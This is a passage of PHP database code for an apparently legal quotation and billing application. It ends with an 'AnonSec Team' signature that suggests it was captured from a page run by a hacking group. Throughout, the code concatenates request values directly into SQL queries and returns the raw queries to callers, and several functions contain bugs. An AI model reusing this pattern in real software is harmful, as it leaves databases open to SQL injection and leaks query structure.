      $respons_count_num = mysqli_num_rows($result_count);
      $respons_pages = ceil($respons_count/$max_rows)-1;
      $data_c['page_number'] = $page_number;
      $data_c['respons_pages'] = $respons_pages;

      $sql = array('table'=>$name_table, 'count'=>$count,'where'=>$search, 'limit'=> "$start_count,$max_rows",'order'=> $order);
    }

    $view = $this->view($sql);
    $result = $this->q_re($view);
    $i=0;$data=array();
    if(@$respons_count>0){
      while ($row = $this->q_ro($result)) {
        $data['Data'][$i]['Address'] =$row['Address'];
        $data['Data'][$i]['Amount'] =$row['Amount'];
        $data['Data'][$i]['CaseTypeId'] =$row['CaseTypeId'];
        $data['Data'][$i]['Condition'] =$row['Condition'];
        $data['Data'][$i]['ContactPerson'] =$row['ContactPerson'];
        $data['Data'][$i]['Country'] =$row['Country'];
        $data['Data'][$i]['CountryId'] =$row['CountryId'];
        $data['Data'][$i]['CreateBy'] =$row['CreateBy'];
        $data['Data'][$i]['CreateDateTime'] =$row['CreateDateTime'];
        $data['Data'][$i]['CreditTerms'] =$row['CreditTerms'];
        $data['Data'][$i]['CreditType'] =$row['CreditType'];
        $data['Data'][$i]['Currency'] =$row['Currency'];
        $data['Data'][$i]['CustomerCode'] =$row['CustomerCode'];
        $data['Data'][$i]['CustomerId'] =$row['CustomerId'];
        $data['Data'][$i]['CustomerName'] =$row['CustomerName'];
        $data['Data'][$i]['Del'] =$row['Del'];
        $data['Data'][$i]['Department'] =$row['Department'];
        $data['Data'][$i]['InterQuantity'] =$row['InterQuantity'];
        $data['Data'][$i]['LocalQuantity'] =$row['LocalQuantity'];
        $data['Data'][$i]['QuotationId'] =$row['QuotationId'];
        $data['Data'][$i]['QuotationNo'] =$row['QuotationNo'];
        $data['Data'][$i]['QuotationType'] =$row['QuotationType'];
        $data['Data'][$i]['RetainerEnd'] =$row['RetainerEnd'];
        $data['Data'][$i]['RetainerStart'] =$row['RetainerStart'];
        $data['Data'][$i]['Status'] =$row['Status'];
        $data['Data'][$i]['StatusText'] =$row['StatusText'];
        $data['Data'][$i]['UpdateBy'] =$row['UpdateBy'];
        $data['Data'][$i]['UpdateDateTime'] =$row['UpdateDateTime'];
        $data['Data'][$i]['Vat'] =$row['Vat'];
        $i++;
      }

    }else {
      $data['Data'] ='';
    }
    $data['PageNumber'] = $request['PageNumber'];
    $data['OrderBy'] = $request['OrderBy'];
    $data['OrderDirection'] = $request['OrderDirection'];
    $data['PageSize'] = $request['PageSize'];
    $data['sql'] = $view;
    $data['numrows'] = $respons_count_num;
    $data['TotalRecords'] = $respons_count_num;
    $data['request'] = $request;
    return $data;
  }

  public function LoadCountry($request){

    $name_table = "ct_country";
    $secrch = "Del=0";
    $order = "";
    if(@$require['CountryId']!=''){
      $secrch .= "CountryId='".$request['CountryId']."'";
    }
    //$count = "";

    $sql = array('table'=>$name_table,'where'=>$secrch,'order'=>$order);
    $view = $this->view($sql);
    $result = $this->q_re($view);
    $i=0;
    while ($row = $this->q_ro($result)) {
       $data[$i]['CountryId'] = $row['CountryId'];
       $data[$i]['CountryCode'] = $row['CountryCode'];
       $data[$i]['Status'] = $row['Status'];
       $data[$i]['Del'] = $row['Del'];
       $i++;
    }

    return $data;
  }

  public function Edit($Id){
    $name_table = "ct_quotation";
    $secrch = "QuotationId='".$Id."'";
    $order = "";
    //$count = "";

    $sql = array('table'=>$name_table,'where'=>$secrch,'order'=>$order);
    $view = $this->view($sql);
    $result = $this->q_re($view);
    $i=0;
    while ($row = $this->q_ro($result)) {
       $data[$i]['QuotationId'] = $row['QuotationId'];
       $data[$i]['QuotationNo'] = $row['QuotationNo'];
       $data[$i]['CountryId'] = $row['CountryId'];
       $data[$i]['CustomerId'] = $row['CustomerId'];
       $data[$i]['CorId'] = $row['CorId'];
       $data[$i]['BillId'] = $row['BillId'];
       $data[$i]['Referral'] = $row['Referral'];
       $data[$i]['OriginatingAttorneyId'] = $row['OriginatingAttorneyId'];
       $data[$i]['QuotationType'] = $row['QuotationType'];
       $data[$i]['RetainerStart'] = $row['RetainerStart'];
       $data[$i]['RetainerEnd'] = $row['RetainerEnd'];
       $data[$i]['Corper'] = $row['Corper'];
       $data[$i]['Billper'] = $row['Billper'];
       $data[$i]['CorIdfix'] = $row['CorIdfix'];
       $data[$i]['Corperfix'] = $row['Corperfix'];       
       $data[$i]['OriginatingAttorneyper'] = $row['OriginatingAttorneyper'];
       $data[$i]['SupervisingId'] = $row['SupervisingId'];
       $data[$i]['Supervisingusd'] = $row['Supervisingusd'];
       $data[$i]['Supervisingthb'] = $row['Supervisingthb'];
       $data[$i]['Hour'] = $row['Hour'];
       $data[$i]['HRateusdE'] = $row['HRateusdE'];
       $data[$i]['HRatethbE'] = $row['HRatethbE'];
       $data[$i]['AssigneeId'] = $row['AssigneeId'];
       $data[$i]['HRateusd'] = $row['HRateusd'];
       $data[$i]['HRatethb'] = $row['HRatethb'];
       $data[$i]['Condition'] = $row['Condition'];
       $data[$i]['CaseTypeId'] = $row['CaseTypeId'];
       $data[$i]['CreditType'] = $row['CreditType'];
       $data[$i]['CreditTerms'] = $row['CreditTerms'];
       $data[$i]['Vat'] = $row['Vat'];
       $data[$i]['Del'] = $row['Del'];
       $data[$i]['ContactPerson'] = $row['ContactPerson'];
       $data[$i]['Status'] = $row['Status'];
       $data[$i]['CreateBy'] = $row['CreateBy'];
       $data[$i]['CreateDateTime'] = $row['CreateDateTime'];
       $data[$i]['UpdateBy'] = $row['UpdateBy'];
       $data[$i]['UpdateDateTime'] = $row['UpdateDateTime'];
       $data[$i]['Currency'] = $row['Currency'];
       $data[$i]['LocalQuantity'] = $row['LocalQuantity'];
       $data[$i]['InterQuantity'] = $row['InterQuantity'];

       $i++;
    }
    /*
    $CaseListClass = new CaseListClass();
    $data['Data2'] = $CaseListClass->LoadCheckHr($Id);
    */
    return $data;
  }

  public function LoadItems($Id){
    $name_table = "ct_quotation_item";
    $secrch = "QuotationId='".$Id."'";
    $order = "";
    //$count = "";

    $sql = array('table'=>$name_table,'where'=>$secrch,'order'=>$order);
    $view = $this->view($sql);
    $result = $this->q_re($view);
    $respons_count = $this->q_nr($result);

    $i=0;
    if(@$respons_count>0){
      while ($row = $this->q_ro($result)) {
        $data['Data'][$i]['QuotationItemId'] = $row['QuotationItemId'];
        $data['Data'][$i]['QuotationId'] = $row['QuotationId'];
        $data['Data'][$i]['Description'] = $row['Description'];
        $data['Data'][$i]['Quantity'] = $row['Quantity'];
        $data['Data'][$i]['UnitPrice'] = floatval($row['UnitPrice']);
        $data['Data'][$i]['Amount'] = floatval($row['Amount']);
        $data['Data'][$i]['Referral'] = floatval($row['Referral']);
        $data['Data'][$i]['CreateBy'] = $row['CreateBy'];
        $data['Data'][$i]['CreateDatetime'] = $row['CreateDatetime'];
        $data['Data'][$i]['UpdateBy'] = $row['UpdateBy'];
        $data['Data'][$i]['UpdateDatetime'] = $row['UpdateDatetime'];
        $data['Data'][$i]['IsExcludeVat'] = $row['IsExcludeVat'];
        $data['Data'][$i]['IsExcludeReferral'] = $row['IsExcludeReferral'];

        $i++;
      }

    }else {
      $data['Data'] = "";

    }

    return $data;
  }

  public function LoadAssignee($Id, $userId="") {
    $name_table = "ct_quotation_assignee cqa 
    LEFT JOIN ct_assignee ca ON cqa.AssigneelavelId = ca.Id
    INNER JOIN t_system_users t ON cqa.AssigneeId = t.Id";
    $secrch = "cqa.QuotationId='".$Id."'";
    if(!empty($userId)){
      $secrch = $secrch ." AND  cqa.QuotationAssigneeId = '".$userId."'";
    }
    $order = "";
    $count = "cqa.QuotationAssigneeId,
    cqa.QuotationId,
    ca.Name AS AssigneeName,
    cqa.HourlyRateTHB,
    cqa.HourlyRateUSD,
    t.UserName,
    t.Name,
    t.Surname";

    $sql = array('table'=>$name_table, 'count'=>$count,'where'=>$secrch,'order'=>$order);
    $view = $this->view($sql);
    $result = $this->q_re($view);
    $respons_count = $this->q_nr($result);

    $i=0;
    if(@$respons_count>0){
      while ($row = $this->q_ro($result)) {
        $data['Data'][$i]['QuotationAssigneeId'] = $row['QuotationAssigneeId'];
        $data['Data'][$i]['QuotationId'] = $row['QuotationId'];
        $data['Data'][$i]['AssigneeName'] = $row['AssigneeName'];
        $data['Data'][$i]['AssigneeTHB'] = $row['HourlyRateTHB'];
        $data['Data'][$i]['AssigneeUSD'] = $row['HourlyRateUSD'];       
        $data['Data'][$i]['UserName'] = $row['UserName'];       
        $data['Data'][$i]['Name'] = $row['Name'];       
        $data['Data'][$i]['Surname'] = $row['Surname'];       

        $i++;
      }

    }else {
      $data['Data'] = "";

    }
    //$data['sql'] =$view;
    return $data;
  }

  
  public function LoadSupervising($Id, $userId="") {
    $name_table = "ct_quotation_supervising cqa 
    LEFT JOIN ct_supervising ca ON cqa.SupervisinglavelId = ca.Id
    INNER JOIN t_system_users t ON cqa.SupervisingId = t.Id";
    $secrch = "cqa.QuotationId='".$Id."'";
    if(!empty($userId)){
      $secrch = $secrch ." AND  cqa.QuotationSupervisingId = '".$userId."'";
    }
    $order = "";
    $count = "cqa.QuotationSupervisingId,
    cqa.QuotationId,
    ca.Name AS SupervisingName,
    cqa.HourlyRateTHB,
    cqa.HourlyRateUSD,
    t.UserName,
    t.Name,
    t.Surname";

    $sql = array('table'=>$name_table, 'count'=>$count,'where'=>$secrch,'order'=>$order);
    $view = $this->view($sql);
    $result = $this->q_re($view);
    $respons_count = $this->q_nr($result);

    $i=0;
    if(@$respons_count>0){
      while ($row = $this->q_ro($result)) {
        $data['Data'][$i]['QuotationSupervisingId'] = $row['QuotationSupervisingId'];
        $data['Data'][$i]['QuotationId'] = $row['QuotationId'];
        $data['Data'][$i]['SupervisingName'] = $row['SupervisingName'];
        $data['Data'][$i]['SupervisingTHB'] = $row['HourlyRateTHB'];
        $data['Data'][$i]['SupervisingUSD'] = $row['HourlyRateUSD'];       
        $data['Data'][$i]['UserName'] = $row['UserName'];       
        $data['Data'][$i]['Name'] = $row['Name'];       
        $data['Data'][$i]['Surname'] = $row['Surname'];       

        $i++;
      }

    }else {
      $data['Data'] = "";

    }
    //$data['sql'] =$view;
    return $data;
  }


  public function LoadDocuments($Id){
    $name_table = "ct_quotation_document";
    $secrch = "QuotationId='".$Id."'";
    $order = "";
    //$count = "";

    $sql = array('table'=>$name_table,'where'=>$secrch,'order'=>$order);
    $view = $this->view($sql);
    $result = $this->q_re($view);
    $respons_count = $this->q_nr($result);
    $i=0;
    if(@$respons_count>0){
      while ($row = $this->q_ro($result)) {
        $data['Data'][$i]['QuotationDocumentId'] = $row['QuotationDocumentId'];
        $data['Data'][$i]['QuotationId'] = $row['QuotationId'];
        $data['Data'][$i]['DocType'] = $row['DocType'];
        $data['Data'][$i]['FilePath'] = $row['FilePath'];
        $data['Data'][$i]['ApproveFilePath'] = $row['ApproveFilePath'];
        $data['Data'][$i]['Status'] = $row['Status'];
        $data['Data'][$i]['CreateBy'] = $row['CreateBy'];
        $data['Data'][$i]['CreateDateTime'] = $row['CreateDateTime'];
        $data['Data'][$i]['UpdateBy'] = $row['UpdateBy'];
        $data['Data'][$i]['UpdateDateTime'] = $row['UpdateDateTime'];

        $i++;
      }

    }else {
      $data['Data'] = "";

    }

    return $data;
  }

  public function LoadPayments($Id){
    $name_table = "ct_quotation_payment_terms";
    $secrch = "QuotationId='".$Id."'";
    $order = "";
    //$count = "";
    $sql = array('table'=>$name_table,'where'=>$secrch,'order'=>$order);
    $view = $this->view($sql);
    $result = $this->q_re($view);
    $respons_count = $this->q_nr($result);

    $i=0;
    if($respons_count>0){
      while ($row = $this->q_ro($result)) {
         $data['Data'][$i]['QuotationPaymentTermId'] = $row['QuotationPaymentTermId'];
         $data['Data'][$i]['Phase'] = $row['Phase'];
         $data['Data'][$i]['Detail'] = $row['Detail'];
         $data['Data'][$i]['Amount'] = floatval($row['Amount']);
         $data['Data'][$i]['Status'] = $row['Status'];
         $data['Data'][$i]['IsEdit'] = 1;

         $secrch_inv = "q.QuotationPaymentTermId = '".$row['QuotationPaymentTermId']."' AND Del = '0'";
         $count_inv = "c.InvoiceId,c.InvoiceNo";
         $order_inv = "ORDER BY InvoiceId ASC";
         $table_inv = "ct_invoice_item q
         INNER JOIN ct_invoice c ON q.InvoiceId=c.InvoiceId";
         $sql_inv = array('table'=>$table_inv,'where'=>$secrch_inv,'order'=>$order_inv,'count'=>$count_inv);
         $view_inv = $this->view($sql_inv);
         $result_inv = $this->q_re($view_inv);
         $respons_count_inv = $this->q_nr($result_inv);
         $i2=0;
         if($respons_count_inv>0){
           while ($row_inv = $this->q_ro($result_inv)) {
             $data['Data'][$i]['invoicelist'][$i2]['InvoiceId'] =$row_inv['InvoiceId'];
             $data['Data'][$i]['invoicelist'][$i2]['InvoiceNo'] =$row_inv['InvoiceNo'];
           }
         }else{
           $data['Data'][$i]['invoicelist'][$i2]['InvoiceId'] ='';
           $data['Data'][$i]['invoicelist'][$i2]['InvoiceNo'] ='';
         }
         $i++;
      }
    }else {
      $data['Data'] = "";
    }
    $data['sql'] = $view_inv;

    return $data;
  }

  public function LoadRelatedCase($request)
  {
    $name_table = "ct_case c";
    $search = "1=1  AND (c.QuotationId = '".$request['QuotationId']."' OR (SELECT Count(*) FROM ct_case_quotation WHERE c.CaseId = CaseId AND QuotationId = '".$request['QuotationId']."') > 0) ";
    $order = "";
    $count = "
     c.CaseId,c.CaseNumber,'' as DueDate
     ,(SELECT CaseTypeName FROM ct_master_case_type WHERE CaseTypeId = c.CaseTypeId) as CaseType
     ,(SELECT NamesName FROM t_names_mas WHERE NamesId = c.CustomerId) as CustomerName
     ,'' as LastEvent

    ";

    $sql = array('table'=>$name_table,'count'=>$count,'where'=>$search,'order'=>$order);

    if($request['PageSize']!=''){
      $page_number = $request['PageNumber'] - 1;
      $max_rows = $request['PageSize'];
      $list_count = array('table'=>$name_table,'count'=>$count,'where'=>$search); //,'order' => 'ORDER BY `QuotationId` DESC '
      $start_count = $page_number * $max_rows;
      $view_count = $this->view($list_count);
      $result_count = $this->q_re($view_count);
      $respons_count = $this->q_nr($result_count);
      $respons_count_num = mysqli_num_rows($result_count);
      $respons_pages = ceil($respons_count/$max_rows)-1;
      $data_c['page_number'] = $page_number;
      $data_c['respons_pages'] = $respons_pages;

      $sql = array('table'=>$name_table, 'count'=>$count,'where'=>$search, 'limit'=> "$start_count,$max_rows",'order'=> $order);
    }

    $view = $this->view($sql);
    $result = $this->q_re($view);
    $i=0;

    if($respons_count_num > 0){
      while ($row = $this->q_ro($result)) {
        $data['Data'][$i]['CaseId'] = $row['CaseId'];
        $data['Data'][$i]['CaseNumber'] = $row['CaseNumber'];
        $data['Data'][$i]['DueDate'] = $row['DueDate'];
        $data['Data'][$i]['CaseType'] = $row['CaseType'];
        $data['Data'][$i]['CustomerName'] = $row['CustomerName'];
        $data['Data'][$i]['LastEvent'] = $row['LastEvent'];

        $i++;
      }

    }else{
      $data['Data'] = '';
    }
    $data['PageNumber'] = $request['PageNumber'];
    $data['OrderBy'] = $request['OrderBy'];
    $data['OrderDirection'] = $request['OrderDirection'];
    $data['PageSize'] = $request['PageSize'];
    $data['numrows'] = $respons_count_num;
    $data['TotalRecords'] = $respons_count_num;


    return $data;
  }

  public function LoadCustomerDetail($Id)
  {
    $name_table = "t_names_mas T2";
    $secrch = "1=1 AND T2.NamesId = '".$Id."'";
    $order = "";
    $count = "
      distinct T2.NamesId as custId,T2.NamesName as custName, T2.NamesCode as custCode,T2.PostalAddress as address,T2.TaxID as taxId
    ";

    $sql = array('table'=>$name_table,'where'=>$secrch,'count'=>$count,'order'=>$order);
    $view = $this->view($sql);
    $result = $this->q_re($view);
    $i=0;
    while ($row = $this->q_ro($result)) {
       $data['Data'][$i]['QuotationPaymentTermId'] = $row['QuotationPaymentTermId'];
       $data['Data'][$i]['Phase'] = $row['Phase'];
       $data['Data'][$i]['Detail'] = $row['Detail'];
       $data['Data'][$i]['Amount'] = floatval($row['Amount']);
       $data['Data'][$i]['Status'] = $row['Status'];
       $data['Data'][$i]['IsEdit'] = 1;

       $i++;
    }

    return $view;
  }


  public function LoadLanguagebilling()
  {
    $data['Data'] = array();
    $order = '';
    $count = "";
    $name_table = "t_billing_currency_mas";
    $search = "StatusActive = 1 AND Deleted = 0";


    $sql = array('table'=>$name_table, 'count'=>$count,'where'=>$search,'order'=>$order);
    $view = $this->view($sql);
    $result = $this->q_re($view);
    $result_num = $this->q_nr($result);

    $i=0;
    if(@$result_num > 0){
      while ($row = $this->q_ro($result)) {
         $data['Data'][$i]['BillingCurrencyId'] =$row['BillingCurrencyId'];
         $data['Data'][$i]['BillingCurrencyCode'] =$row['BillingCurrencyCode'];
         $data['Data'][$i]['BillingCurrencyName'] =$row['BillingCurrencyName'];
         $data['Data'][$i]['StatusActive'] =$row['StatusActive'];
         $data['Data'][$i]['CreateBy'] =$row['CreateBy'];
         $data['Data'][$i]['LastUpdateBy'] =$row['LastUpdateBy'];
         $data['Data'][$i]['CreateDateTime'] =$row['CreateDateTime'];
         $data['Data'][$i]['LastUpdateDateTime'] =$row['LastUpdateDateTime'];
         $data['Data'][$i]['Deleted'] =$row['Deleted'];

         $i++;
      }
    }
    $data['sql'] = $view;
    return $data;
  }

  public function loadQuotationAssignee($Id) 
  {
    $name_table = "ct_quotation_assignee";
    $start_count = 0;
    $secrch = "QuotationId = '".$Id."'";
    $count ='';
    $sql = array('table'=>$name_table, 'count'=>$count,'where'=>$secrch);//, 'limit'=> "$start_count,$max_rows"
    $view = $this->view($sql);
    $result = $this->q_re($view);
    $i=0;$data=array();
    while ($row = $this->q_ro($result)) {
      $data['Data'][$i]['QuotationAssigneeId'] =$row['QuotationAssigneeId'];
      $data['Data'][$i]['AssigneeId'] =$row['AssigneeId'];
      $i++;
    }
    $data['sql'] = $view;
    return $data;
  }

  public function loadQuotationSupervising($Id) 
  {
    $name_table = "ct_quotation_supervising";
    $start_count = 0;
    $secrch = "QuotationId = '".$Id."'";
    $count ='';
    $sql = array('table'=>$name_table, 'count'=>$count,'where'=>$secrch);//, 'limit'=> "$start_count,$max_rows"
    $view = $this->view($sql);
    $result = $this->q_re($view);
    $i=0;$data=array();
    while ($row = $this->q_ro($result)) {
      $data['Data'][$i]['QuotationSupervisingId'] =$row['QuotationSupervisingId'];
      $data['Data'][$i]['SupervisingId'] =$row['SupervisingId'];
      $i++;
    }
    $data['sql'] = $view;
    return $data;
  }

}


 ?>

Anon7 - 2022
AnonSec Team